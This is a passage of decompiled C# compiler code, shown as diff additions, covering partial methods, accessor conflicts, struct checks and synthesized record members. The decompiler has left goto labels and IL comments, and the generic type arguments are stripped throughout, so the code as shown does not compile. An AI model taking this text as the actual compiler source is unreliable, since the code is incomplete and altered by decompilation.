(sourceOrdinaryMethodSymbol2.IsPartialDefinition) + { + if (!sourceOrdinaryMethodSymbol.IsPartialDefinition) + { + MethodSymbol otherPartOfPartial2 = sourceOrdinaryMethodSymbol.OtherPartOfPartial; + if ((object)otherPartOfPartial2 == null || (object)otherPartOfPartial2 == sourceOrdinaryMethodSymbol2) + { + goto IL_010d; + } + } + diagnostics.Add(ErrorCode.ERR_PartialMethodOnlyOneLatent, sourceOrdinaryMethodSymbol2.GetFirstLocation()); + continue; + } + goto IL_010d; + IL_010d: + if (membersByName == _lazyEarlyAttributeDecodingMembersDictionary) + { + membersByName = new Dictionary, ImmutableArray>(membersByName, (IEqualityComparer>?)ReadOnlyMemoryOfCharComparer.Instance); + } + membersByName[current] = FixPartialMember(membersByName[current], sourceOrdinaryMethodSymbol, sourceOrdinaryMethodSymbol2); + } + foreach (SourceOrdinaryMethodSymbol value2 in dictionary.Values) + { + if (value2.IsPartialImplementation && (object)value2.OtherPartOfPartial == null) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodMustHaveLatent, value2.GetFirstLocation(), value2); + } + else if ((object)value2 != null && value2.IsPartialDefinition && (object)value2.OtherPartOfPartial == null && value2.HasExplicitAccessModifier) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodWithAccessibilityModsMustHaveImplementation, value2.GetFirstLocation(), value2); + } + } + } + instance.Free(); + } + + private static ImmutableArray FixPartialMember(ImmutableArray symbols, SourceOrdinaryMethodSymbol part1, SourceOrdinaryMethodSymbol part2) + { + SourceOrdinaryMethodSymbol definition; + SourceOrdinaryMethodSymbol sourceOrdinaryMethodSymbol; + if (part1.IsPartialDefinition) + { + definition = part1; + sourceOrdinaryMethodSymbol = part2; + } + else + { + definition = part2; + sourceOrdinaryMethodSymbol = part1; + } + SourceOrdinaryMethodSymbol.InitializePartialMethodParts(definition, sourceOrdinaryMethodSymbol); + return Remove(symbols, sourceOrdinaryMethodSymbol); + } + + private static ImmutableArray Remove(ImmutableArray symbols, Symbol symbol) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((object)current != symbol) + { + instance.Add(current); + } + } + return instance.ToImmutableAndFree(); + } + + private void CheckForMemberConflictWithPropertyAccessor(PropertySymbol propertySymbol, bool getNotSet, BindingDiagnosticBag diagnostics) + { + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Invalid comparison between Unknown and I4 + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Invalid comparison between Unknown and I4 + MethodSymbol methodSymbol = (getNotSet ? propertySymbol.GetMethod : propertySymbol.SetMethod); + string text = (((object)methodSymbol == null) ? SourcePropertyAccessorSymbol.GetAccessorName(propertySymbol.IsIndexer ? propertySymbol.MetadataName : propertySymbol.Name, getNotSet, propertySymbol.IsCompilationOutputWinMdObj()) : methodSymbol.Name); + ImmutableArray.Enumerator enumerator = GetMembers(text).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind != 9) + { + if (Locations.Length == 1 || IsPartial) + { + diagnostics.Add(ErrorCode.ERR_DuplicateNameInClass, GetAccessorOrPropertyLocation(propertySymbol, getNotSet), this, text); + } + break; + } + MethodSymbol methodSymbol2 = (MethodSymbol)current; + if ((int)methodSymbol2.MethodKind == 10 && ParametersMatchPropertyAccessor(propertySymbol, getNotSet, methodSymbol2.Parameters)) + { + diagnostics.Add(ErrorCode.ERR_MemberReserved, GetAccessorOrPropertyLocation(propertySymbol, getNotSet), text, this); + break; + } + } + } + + private void CheckForMemberConflictWithEventAccessor(EventSymbol eventSymbol, bool isAdder, BindingDiagnosticBag diagnostics) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Invalid comparison between Unknown and I4 + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Invalid comparison between Unknown and I4 + string accessorName = SourceEventSymbol.GetAccessorName(eventSymbol.Name, isAdder); + ImmutableArray.Enumerator enumerator = GetMembers(accessorName).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind != 9) + { + if (Locations.Length == 1 || IsPartial) + { + diagnostics.Add(ErrorCode.ERR_DuplicateNameInClass, GetAccessorOrEventLocation(eventSymbol, isAdder), this, accessorName); + } + break; + } + MethodSymbol methodSymbol = (MethodSymbol)current; + if ((int)methodSymbol.MethodKind == 10 && ParametersMatchEventAccessor(eventSymbol, methodSymbol.Parameters)) + { + diagnostics.Add(ErrorCode.ERR_MemberReserved, GetAccessorOrEventLocation(eventSymbol, isAdder), accessorName, this); + break; + } + } + } + + private static Location GetAccessorOrPropertyLocation(PropertySymbol propertySymbol, bool getNotSet) + { + return ((Symbol)(((object)(getNotSet ? propertySymbol.GetMethod : propertySymbol.SetMethod)) ?? ((object)propertySymbol))).GetFirstLocation(); + } + + private static Location GetAccessorOrEventLocation(EventSymbol propertySymbol, bool isAdder) + { + return ((Symbol)(((object)(isAdder ? propertySymbol.AddMethod : propertySymbol.RemoveMethod)) ?? ((object)propertySymbol))).GetFirstLocation(); + } + + private static bool ParametersMatchPropertyAccessor(PropertySymbol propertySymbol, bool getNotSet, ImmutableArray methodParams) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray parameters = propertySymbol.Parameters; + int num = parameters.Length + ((!getNotSet) ? 1 : 0); + if (num != methodParams.Length) + { + return false; + } + for (int i = 0; i < num; i++) + { + ParameterSymbol parameterSymbol = methodParams[i]; + if ((int)parameterSymbol.RefKind != 0) + { + return false; + } + if (!((i == num - 1 && !getNotSet) ? propertySymbol.TypeWithAnnotations : parameters[i].TypeWithAnnotations).Type.Equals(parameterSymbol.Type, (TypeCompareKind)63)) + { + return false; + } + } + return true; + } + + private static bool ParametersMatchEventAccessor(EventSymbol eventSymbol, ImmutableArray methodParams) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + if (methodParams.Length == 1 && (int)methodParams[0].RefKind == 0) + { + return eventSymbol.Type.Equals(methodParams[0].Type, (TypeCompareKind)63); + } + return false; + } + + private void AddEnumMembers(DeclaredMembersAndInitializersBuilder result, EnumDeclarationSyntax syntax, BindingDiagnosticBag diagnostics) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + SourceEnumConstantSymbol sourceEnumConstantSymbol = null; + int num = 0; + Enumerator enumerator = syntax.Members.GetEnumerator(); + while (enumerator.MoveNext()) + { + EnumMemberDeclarationSyntax current = enumerator.Current; + EqualsValueClauseSyntax? equalsValue = current.EqualsValue; + SourceEnumConstantSymbol sourceEnumConstantSymbol2 = ((equalsValue == null) ? SourceEnumConstantSymbol.CreateImplicitValuedConstant(this, current, sourceEnumConstantSymbol, num, diagnostics) : SourceEnumConstantSymbol.CreateExplicitValuedConstant(this, current, diagnostics)); + result.NonTypeMembers.Add((Symbol)sourceEnumConstantSymbol2); + if (equalsValue != null || (object)sourceEnumConstantSymbol == null) + { + sourceEnumConstantSymbol = sourceEnumConstantSymbol2; + num = 1; + } + else + { + num++; + } + } + } + + private static void AddInitializer(ref ArrayBuilder? initializers, FieldSymbol? fieldOpt, CSharpSyntaxNode node) + { + if (initializers == null) + { + initializers = ArrayBuilder.GetInstance(); + } + else + { + _ = initializers.Count; + } + initializers.Add(new FieldOrPropertyInitializer(fieldOpt, (SyntaxNode)(object)node)); + } + + private static void AddInitializers(ArrayBuilder> allInitializers, ArrayBuilder? siblingsOpt) + { + if (siblingsOpt != null) + { + allInitializers.Add(siblingsOpt); + } + } + + private static void CheckInterfaceMembers(ImmutableArray nonTypeMembers, BindingDiagnosticBag diagnostics) + { + ImmutableArray.Enumerator enumerator = nonTypeMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + CheckInterfaceMember(enumerator.Current, diagnostics); + } + } + + private static void CheckInterfaceMember(Symbol member, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Expected I4, but got Unknown + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected I4, but got Unknown + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = member.Kind; + switch (kind - 5) + { + default: + if ((int)kind != 15) + { + goto case 2; + } + break; + case 4: + { + MethodSymbol methodSymbol = (MethodSymbol)member; + MethodKind methodKind = methodSymbol.MethodKind; + switch (methodKind - 1) + { + case 0: + diagnostics.Add(ErrorCode.ERR_InterfacesCantContainConstructors, member.GetFirstLocation()); + break; + case 3: + diagnostics.Add(ErrorCode.ERR_OnlyClassesCanContainDestructors, member.GetFirstLocation()); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)methodSymbol.MethodKind); + case 1: + case 4: + case 6: + case 7: + case 8: + case 9: + case 10: + case 11: + case 13: + case 16: + break; + } + break; + } + case 2: + case 3: + throw ExceptionUtilities.UnexpectedValue((object)member.Kind); + case 0: + case 1: + break; + } + } + + private static void CheckForStructDefaultConstructors(ArrayBuilder members, bool isEnum, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Invalid comparison between Unknown and I4 + Enumerator enumerator = members.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!(enumerator.Current is MethodSymbol methodSymbol) || (int)methodSymbol.MethodKind != 1 || methodSymbol.ParameterCount != 0) + { + continue; + } + Location firstLocation = methodSymbol.GetFirstLocation(); + if (isEnum) + { + diagnostics.Add(ErrorCode.ERR_EnumsCantContainDefaultConstructor, firstLocation); + continue; + } + MessageID.IDS_FeatureParameterlessStructConstructors.CheckFeatureAvailability(diagnostics, (Compilation)(object)methodSymbol.DeclaringCompilation, firstLocation); + if ((int)methodSymbol.DeclaredAccessibility != 6) + { + diagnostics.Add(ErrorCode.ERR_NonPublicParameterlessStructConstructor, firstLocation); + } + } + } + + private void CheckForStructBadInitializers(DeclaredMembersAndInitializersBuilder builder, BindingDiagnosticBag diagnostics) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + if (builder.DeclarationWithParameters != null) + { + return; + } + bool flag = false; + Enumerator> enumerator = builder.InstanceInitializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + Enumerator enumerator2 = enumerator.Current.GetEnumerator(); + while (enumerator2.MoveNext()) + { + FieldOrPropertyInitializer current = enumerator2.Current; + flag = true; + Symbol symbol = current.FieldOpt.AssociatedSymbol ?? current.FieldOpt; + MessageID.IDS_FeatureStructFieldInitializers.CheckFeatureAvailability(diagnostics, (Compilation)(object)symbol.DeclaringCompilation, symbol.GetFirstLocation()); + } + } + if (flag && !ArrayBuilderExtensions.Any(builder.NonTypeMembers, (Func)((Symbol member) => member is MethodSymbol methodSymbol && (int)methodSymbol.MethodKind == 1))) + { + diagnostics.Add(ErrorCode.ERR_StructHasInitializersAndNoDeclaredConstructor, GetFirstLocation()); + } + } + + private void AddSynthesizedSimpleProgramEntryPointIfNecessary(MembersAndInitializersBuilder builder, DeclaredMembersAndInitializers declaredMembersAndInitializers) + { + ImmutableArray.Enumerator enumerator = GetSimpleProgramEntryPoints().GetEnumerator(); + while (enumerator.MoveNext()) + { + SynthesizedSimpleProgramEntryPointSymbol current = enumerator.Current; + builder.AddNonTypeMember(current, declaredMembersAndInitializers); + } + } + + private void AddSynthesizedTypeMembersIfNecessary(MembersAndInitializersBuilder builder, DeclaredMembersAndInitializers declaredMembersAndInitializers, BindingDiagnosticBag diagnostics) + { + //IL_014c: Unknown result type (might be due to invalid IL or missing references) + //IL_0151: Unknown result type (might be due to invalid IL or missing references) + //IL_0153: Unknown result type (might be due to invalid IL or missing references) + //IL_0156: Invalid comparison between Unknown and I4 + //IL_0158: Unknown result type (might be due to invalid IL or missing references) + //IL_015c: Invalid comparison between Unknown and I4 + DeclarationKind kind = declaration.Kind; + bool flag = kind - 9 <= DeclarationKind.Class; + if (!flag && (object)declaredMembersAndInitializers.PrimaryConstructor == null) + { + return; + } + IReadOnlyCollection nonTypeMembers = builder.GetNonTypeMembers(declaredMembersAndInitializers); + ArrayBuilder members = ArrayBuilder.GetInstance(nonTypeMembers.Count + 1); + kind = declaration.Kind; + if (kind - 9 > DeclarationKind.Class) + { + SynthesizedPrimaryConstructor primaryConstructor = declaredMembersAndInitializers.PrimaryConstructor; + members.Add((Symbol)primaryConstructor); + members.AddRange((IEnumerable)primaryConstructor.GetBackingFields()); + members.AddRange((IEnumerable)nonTypeMembers); + builder.SetNonTypeMembers(members); + return; + } + ParameterListSyntax paramList = declaredMembersAndInitializers.DeclarationWithParameters?.ParameterList; + PooledDictionary memberSignatures = s_duplicateRecordMemberSignatureDictionary.Allocate(); + PooledDictionary fieldsByName = PooledDictionary.GetInstance(); + PooledHashSet memberNames = PooledHashSet.GetInstance(); + foreach (Symbol item in nonTypeMembers) + { + ((HashSet)(object)memberNames).Add(item.Name); + if (item is EventSymbol) + { + continue; + } + if (item is MethodSymbol { MethodKind: var methodKind }) + { + if ((int)methodKind != 1 && (int)methodKind != 10) + { + continue; + } + } + else if (item is FieldSymbol) + { + string name = item.Name; + if (!((Dictionary)(object)fieldsByName).ContainsKey(name)) + { + ((Dictionary)(object)fieldsByName).Add(name, item); + } + continue; + } + if (!((Dictionary)(object)memberSignatures).ContainsKey(item)) + { + ((Dictionary)(object)memberSignatures).Add(item, item); + } + } + CSharpCompilation compilation = DeclaringCompilation; + bool isRecordClass = declaration.Kind == DeclarationKind.Record; + bool primaryAndCopyCtorAmbiguity = false; + if (paramList != null) + { + SynthesizedPrimaryConstructor primaryConstructor2 = declaredMembersAndInitializers.PrimaryConstructor; + members.Add((Symbol)primaryConstructor2); + if (primaryConstructor2.ParameterCount != 0) + { + ImmutableArray positionalMembers = addProperties(primaryConstructor2.Parameters); + addDeconstruct(primaryConstructor2, positionalMembers); + } + if (isRecordClass) + { + primaryAndCopyCtorAmbiguity = primaryConstructor2.ParameterCount == 1 && primaryConstructor2.Parameters[0].Type.Equals(this, (TypeCompareKind)63); + } + } + if (isRecordClass) + { + addCopyCtor(primaryAndCopyCtorAmbiguity); + addCloneMethod(); + } + PropertySymbol equalityContract = (isRecordClass ? addEqualityContract() : null); + MethodSymbol methodSymbol2 = addThisEquals(equalityContract); + if (isRecordClass) + { + addBaseEquals(); + } + addObjectEquals(methodSymbol2); + MethodSymbol methodSymbol3 = addGetHashCode(equalityContract); + addEqualityOperators(); + if (!(methodSymbol2 is SynthesizedRecordEquals) && methodSymbol3 is SynthesizedRecordGetHashCode) + { + diagnostics.Add(ErrorCode.WRN_RecordEqualsWithoutGetHashCode, methodSymbol2.GetFirstLocation(), declaration.Name); + } + MethodSymbol printMethod = addPrintMembersMethod(nonTypeMembers); + addToStringMethod(printMethod); + memberSignatures.Free(); + fieldsByName.Free(); + memberNames.Free(); + members.AddRange((IEnumerable)nonTypeMembers); + builder.SetNonTypeMembers(members); + void addBaseEquals() + { + if (!BaseTypeNoUseSiteDiagnostics.IsObjectType()) + { + members.Add((Symbol)new SynthesizedRecordBaseEquals(this, members.Count)); + } + } + void addCloneMethod() + { + members.Add((Symbol)new SynthesizedRecordClone(this, members.Count)); + } + void addCopyCtor(bool flag2) + { + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00be: Invalid comparison between Unknown and I4 + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Invalid comparison between Unknown and I4 + SignatureOnlyMethodSymbol key = new SignatureOnlyMethodSymbol(".ctor", this, (MethodKind)1, (CallingConvention)32, ImmutableArray.Empty, ImmutableArray.Create((ParameterSymbol)new SignatureOnlyParameterSymbol(TypeWithAnnotations.Create(this), ImmutableArray.Empty, isParams: false, (RefKind)0)), (RefKind)0, isInitOnly: false, isStatic: false, TypeWithAnnotations.Create(compilation.GetSpecialType((SpecialType)6)), ImmutableArray.Empty, ImmutableArray.Empty); + if (!((Dictionary)(object)memberSignatures).TryGetValue((Symbol)key, out Symbol value)) + { + SynthesizedRecordCopyCtor synthesizedRecordCopyCtor = new SynthesizedRecordCopyCtor(this, members.Count); + members.Add((Symbol)synthesizedRecordCopyCtor); + if (flag2) + { + diagnostics.Add(ErrorCode.ERR_RecordAmbigCtor, synthesizedRecordCopyCtor.GetFirstLocation()); + } + } + else + { + MethodSymbol methodSymbol4 = (MethodSymbol)value; + if (!IsSealed && (int)methodSymbol4.DeclaredAccessibility != 6 && (int)methodSymbol4.DeclaredAccessibility != 3) + { + diagnostics.Add(ErrorCode.ERR_CopyConstructorWrongAccessibility, methodSymbol4.GetFirstLocation(), methodSymbol4); + } + } + } + void addDeconstruct(SynthesizedPrimaryConstructor ctor, ImmutableArray positionalMembers2) + { + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Invalid comparison between Unknown and I4 + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Invalid comparison between Unknown and I4 + SignatureOnlyMethodSymbol signatureOnlyMethodSymbol = new SignatureOnlyMethodSymbol("Deconstruct", this, (MethodKind)10, (CallingConvention)32, ImmutableArray.Empty, ImmutableArrayExtensions.SelectAsArray(ctor.Parameters, (Func)((ParameterSymbol param) => new SignatureOnlyParameterSymbol(param.TypeWithAnnotations, ImmutableArray.Empty, isParams: false, (RefKind)2))), (RefKind)0, isInitOnly: false, isStatic: false, TypeWithAnnotations.Create(compilation.GetSpecialType((SpecialType)6)), ImmutableArray.Empty, ImmutableArray.Empty); + if (!((Dictionary)(object)memberSignatures).TryGetValue((Symbol)signatureOnlyMethodSymbol, out Symbol value)) + { + members.Add((Symbol)new SynthesizedRecordDeconstruct(this, ctor, positionalMembers2, members.Count)); + } + else + { + MethodSymbol methodSymbol4 = (MethodSymbol)value; + if ((int)methodSymbol4.DeclaredAccessibility != 6) + { + diagnostics.Add(ErrorCode.ERR_NonPublicAPIInRecord, methodSymbol4.GetFirstLocation(), methodSymbol4); + } + if ((int)methodSymbol4.ReturnType.SpecialType != 6 && !methodSymbol4.ReturnType.IsErrorType()) + { + diagnostics.Add(ErrorCode.ERR_SignatureMismatchInRecord, methodSymbol4.GetFirstLocation(), methodSymbol4, signatureOnlyMethodSymbol.ReturnType); + } + if (methodSymbol4.IsStatic) + { + diagnostics.Add(ErrorCode.ERR_StaticAPIInRecord, methodSymbol4.GetFirstLocation(), methodSymbol4); + } + } + } + PropertySymbol addEqualityContract() + { + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Invalid comparison between Unknown and I4 + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Invalid comparison between Unknown and I4 + SignatureOnlyPropertySymbol signatureOnlyPropertySymbol = new SignatureOnlyPropertySymbol("EqualityContract", this, ImmutableArray.Empty, (RefKind)0, TypeWithAnnotations.Create(compilation.GetWellKnownType((WellKnownType)61)), ImmutableArray.Empty, isStatic: false, ImmutableArray.Empty); + PropertySymbol propertySymbol; + if (!((Dictionary)(object)memberSignatures).TryGetValue((Symbol)signatureOnlyPropertySymbol, out Symbol value)) + { + propertySymbol = new SynthesizedRecordEqualityContractProperty(this, diagnostics); + members.Add((Symbol)propertySymbol); + members.Add((Symbol)propertySymbol.GetMethod); + } + else + { + propertySymbol = (PropertySymbol)value; + if (IsSealed && BaseTypeNoUseSiteDiagnostics.IsObjectType()) + { + if ((int)propertySymbol.DeclaredAccessibility != 1) + { + diagnostics.Add(ErrorCode.ERR_NonPrivateAPIInRecord, propertySymbol.GetFirstLocation(), propertySymbol); + } + } + else if ((int)propertySymbol.DeclaredAccessibility != 3) + { + diagnostics.Add(ErrorCode.ERR_NonProtectedAPIInRecord, propertySymbol.GetFirstLocation(), propertySymbol); + } + if (!propertySymbol.Type.Equals(signatureOnlyPropertySymbol.Type, (TypeCompareKind)63)) + { + if (!propertySymbol.Type.IsErrorType()) + { + diagnostics.Add(ErrorCode.ERR_SignatureMismatchInRecord, propertySymbol.GetFirstLocation(), propertySymbol, signatureOnlyPropertySymbol.Type); + } + } + else + { + SynthesizedRecordEqualityContractProperty.VerifyOverridesEqualityContractFromBase(propertySymbol, diagnostics); + } + if ((object)propertySymbol.GetMethod == null) + { + diagnostics.Add(ErrorCode.ERR_EqualityContractRequiresGetter, propertySymbol.GetFirstLocation(), propertySymbol); + } + reportStaticOrNotOverridableAPIInRecord(propertySymbol, diagnostics); + } + return propertySymbol; + } + void addEqualityOperators() + { + members.Add((Symbol)new SynthesizedRecordEqualityOperator(this, members.Count, diagnostics)); + members.Add((Symbol)new SynthesizedRecordInequalityOperator(this, members.Count, diagnostics)); + } + MethodSymbol addGetHashCode(PropertySymbol? equalityContract2) + { + SignatureOnlyMethodSymbol key = new SignatureOnlyMethodSymbol("GetHashCode", this, (MethodKind)10, (CallingConvention)32, ImmutableArray.Empty, ImmutableArray.Empty, (RefKind)0, isInitOnly: false, isStatic: false, TypeWithAnnotations.Create(compilation.GetSpecialType((SpecialType)13)), ImmutableArray.Empty, ImmutableArray.Empty); + MethodSymbol methodSymbol4; + if (!((Dictionary)(object)memberSignatures).TryGetValue((Symbol)key, out Symbol value)) + { + methodSymbol4 = new SynthesizedRecordGetHashCode(this, equalityContract2, members.Count); + members.Add((Symbol)methodSymbol4); + } + else + { + methodSymbol4 = (MethodSymbol)value; + if (!SynthesizedRecordObjectMethod.VerifyOverridesMethodFromObject(methodSymbol4, (SpecialMember)97, diagnostics) && methodSymbol4.IsSealed && !IsSealed) + { + diagnostics.Add(ErrorCode.ERR_SealedAPIInRecord, methodSymbol4.GetFirstLocation(), methodSymbol4); + } + } + return methodSymbol4; + } + void addObjectEquals(MethodSymbol thisEquals) + { + members.Add((Symbol)new SynthesizedRecordObjEquals(this, thisEquals, members.Count)); + } + MethodSymbol addPrintMembersMethod(IEnumerable userDefinedMembers) + { + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Invalid comparison between Unknown and I4 + //IL_00f2: Unknown result type (might be due to invalid IL or missing references) + //IL_00f8: Invalid comparison between Unknown and I4 + SignatureOnlyMethodSymbol signatureOnlyMethodSymbol = new SignatureOnlyMethodSymbol("PrintMembers", this, (MethodKind)10, (CallingConvention)32, ImmutableArray.Empty, ImmutableArray.Create((ParameterSymbol)new SignatureOnlyParameterSymbol(TypeWithAnnotations.Create(compilation.GetWellKnownType((WellKnownType)309)), ImmutableArray.Empty, isParams: false, (RefKind)0)), (RefKind)0, isInitOnly: false, isStatic: false, TypeWithAnnotations.Create(compilation.GetSpecialType((SpecialType)7)), ImmutableArray.Empty, ImmutableArray.Empty); + MethodSymbol methodSymbol4; + if (!((Dictionary)(object)memberSignatures).TryGetValue((Symbol)signatureOnlyMethodSymbol, out Symbol value)) + { + methodSymbol4 = new SynthesizedRecordPrintMembers(this, userDefinedMembers, members.Count); + members.Add((Symbol)methodSymbol4); + } + else + { + methodSymbol4 = (MethodSymbol)value; + if (!isRecordClass || (IsSealed && BaseTypeNoUseSiteDiagnostics.IsObjectType())) + { + if ((int)methodSymbol4.DeclaredAccessibility != 1) + { + diagnostics.Add(ErrorCode.ERR_NonPrivateAPIInRecord, methodSymbol4.GetFirstLocation(), methodSymbol4); + } + } + else if ((int)methodSymbol4.DeclaredAccessibility != 3) + { + diagnostics.Add(ErrorCode.ERR_NonProtectedAPIInRecord, methodSymbol4.GetFirstLocation(), methodSymbol4); + } + if (!methodSymbol4.ReturnType.Equals(signatureOnlyMethodSymbol.ReturnType, (TypeCompareKind)63)) + { + if (!methodSymbol4.ReturnType.IsErrorType()) + { + diagnostics.Add(ErrorCode.ERR_SignatureMismatchInRecord, methodSymbol4.GetFirstLocation(), methodSymbol4, signatureOnlyMethodSymbol.ReturnType); + } + } + else if (isRecordClass) + { + SynthesizedRecordPrintMembers.VerifyOverridesPrintMembersFromBase(methodSymbol4, diagnostics); + } + reportStaticOrNotOverridableAPIInRecord(methodSymbol4, diagnostics); + } + return methodSymbol4; + } + ImmutableArray addProperties(ImmutableArray recordParameters) + { + //IL_0204: Unknown result type (might be due to invalid IL or missing references) + //IL_020a: Expected O, but got Unknown + ArrayBuilder existingOrAddedMembers = ArrayBuilder.GetInstance(recordParameters.Length); + int addedCount = 0; + ImmutableArray.Enumerator enumerator2 = recordParameters.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ParameterSymbol param = enumerator2.Current; + bool flag2 = false; + CSharpSyntaxNode nonNullSyntaxNode = param.GetNonNullSyntaxNode(); + SignatureOnlyPropertySymbol signatureOnlyPropertySymbol = new SignatureOnlyPropertySymbol(param.Name, this, ImmutableArray.Empty, (RefKind)0, param.TypeWithAnnotations, ImmutableArray.Empty, isStatic: false, ImmutableArray.Empty); + if (!((Dictionary)(object)memberSignatures).TryGetValue((Symbol)signatureOnlyPropertySymbol, out Symbol value) && !((Dictionary)(object)fieldsByName).TryGetValue(param.Name, out value)) + { + value = OverriddenOrHiddenMembersHelpers.FindFirstHiddenMemberIfAny(signatureOnlyPropertySymbol, memberIsFromSomeCompilation: true); + flag2 = true; + } + if ((object)value == null) + { + addProperty(new SynthesizedRecordPropertySymbol(this, nonNullSyntaxNode, param, isOverride: false, diagnostics)); + } + else if (value is FieldSymbol fieldSymbol && !value.IsStatic && fieldSymbol.TypeWithAnnotations.Equals(param.TypeWithAnnotations, (TypeCompareKind)63)) + { + Binder.CheckFeatureAvailability((SyntaxNode)(object)nonNullSyntaxNode, MessageID.IDS_FeaturePositionalFieldsInRecords, diagnostics); + if (!flag2 || checkMemberNotHidden(fieldSymbol, param)) + { + existingOrAddedMembers.Add((Symbol)fieldSymbol); + } + } + else if (value is PropertySymbol propertySymbol && !value.IsStatic && (object)propertySymbol.GetMethod != null && propertySymbol.TypeWithAnnotations.Equals(param.TypeWithAnnotations, (TypeCompareKind)63)) + { + if (flag2 && propertySymbol.IsAbstract) + { + addProperty(new SynthesizedRecordPropertySymbol(this, nonNullSyntaxNode, param, isOverride: true, diagnostics)); + } + else if (!flag2 || checkMemberNotHidden(propertySymbol, param)) + { + existingOrAddedMembers.Add((Symbol)propertySymbol); + } + } + else + { + diagnostics.Add(ErrorCode.ERR_BadRecordMemberForPositionalParameter, param.GetFirstLocation(), (object)new FormattedSymbol((ISymbolInternal)(object)value, SymbolDisplayFormat.CSharpErrorMessageFormat.WithMemberOptions((SymbolDisplayMemberOptions)32)), param.TypeWithAnnotations, param.Name); + } + void addProperty(SynthesizedRecordPropertySymbol property) + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + existingOrAddedMembers.Add((Symbol)property); + members.Add((Symbol)property); + members.Add((Symbol)property.GetMethod); + members.Add((Symbol)property.SetMethod); + members.Add((Symbol)property.BackingField); + builder.AddInstanceInitializerForPositionalMembers(new FieldOrPropertyInitializer(property.BackingField, (SyntaxNode)(object)paramList.Parameters[param.Ordinal])); + addedCount++; + } + } + return existingOrAddedMembers.ToImmutableAndFree(); + } + MethodSymbol addThisEquals(PropertySymbol? equalityContract2) + { + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Invalid comparison between Unknown and I4 + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Invalid comparison between Unknown and I4 + SignatureOnlyMethodSymbol signatureOnlyMethodSymbol = new SignatureOnlyMethodSymbol("Equals", this, (MethodKind)10, (CallingConvention)32, ImmutableArray.Empty, ImmutableArray.Create((ParameterSymbol)new SignatureOnlyParameterSymbol(TypeWithAnnotations.Create(this), ImmutableArray.Empty, isParams: false, (RefKind)0)), (RefKind)0, isInitOnly: false, isStatic: false, TypeWithAnnotations.Create(compilation.GetSpecialType((SpecialType)7)), ImmutableArray.Empty, ImmutableArray.Empty); + MethodSymbol methodSymbol4; + if (!((Dictionary)(object)memberSignatures).TryGetValue((Symbol)signatureOnlyMethodSymbol, out Symbol value)) + { + methodSymbol4 = new SynthesizedRecordEquals(this, equalityContract2, members.Count); + members.Add((Symbol)methodSymbol4); + } + else + { + methodSymbol4 = (MethodSymbol)value; + if ((int)methodSymbol4.DeclaredAccessibility != 6) + { + diagnostics.Add(ErrorCode.ERR_NonPublicAPIInRecord, methodSymbol4.GetFirstLocation(), methodSymbol4); + } + if ((int)methodSymbol4.ReturnType.SpecialType != 7 && !methodSymbol4.ReturnType.IsErrorType()) + { + diagnostics.Add(ErrorCode.ERR_SignatureMismatchInRecord, methodSymbol4.GetFirstLocation(), methodSymbol4, signatureOnlyMethodSymbol.ReturnType); + } + reportStaticOrNotOverridableAPIInRecord(methodSymbol4, diagnostics); + } + return methodSymbol4; + } + void addToStringMethod(MethodSymbol printMethod2) + { + SignatureOnlyMethodSymbol key = 